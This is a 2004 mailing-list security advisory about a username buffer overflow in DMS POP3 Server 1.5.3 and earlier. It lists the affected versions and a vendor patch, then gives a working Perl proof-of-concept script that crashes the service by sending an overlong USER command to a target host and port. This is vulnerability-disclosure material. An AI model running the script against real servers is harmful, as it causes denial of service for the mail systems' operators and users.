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Buffer overlow in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions.
From: Reed Arvin <reedarvin () gmail com>
Date: Mon, 29 Nov 2004 08:51:14 -0700

Summary:
A buffer overflow exists in DMS POP3 Server for Windows 2000/XP 1.5.3
build 37 (http://www.digitalmapping.sk.ca/pop3srv/default.asp) and
prior versions.

Details:
A buffer overflow occurs during the POP3 authentication process when
an overly long username is supplied.  When the username buffer is
overflowed successfully the DMS POP3 Service dies resulting in a
denial of service.

Vulnerable Versions:
DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions.

Solutions:
The vendor has provided a patch to fix this issue:
http://www.digitalmapping.sk.ca/pop3srv/Update.asp

Exploit:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                   PeerPort => $ARGV[1],
                                   Proto    => "TCP"))
{
       print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

       sleep(1);

       print $socket "USER " . "A" x 1023;

       close $socket;

       sleep(1);

       if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                           PeerPort => $ARGV[1],
                                           Proto    => "TCP"))
       {
               close $socket;

               print "failed!\n";
       }
       else
       {
               print "successful!\n";
       }
}
else
{
       print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com

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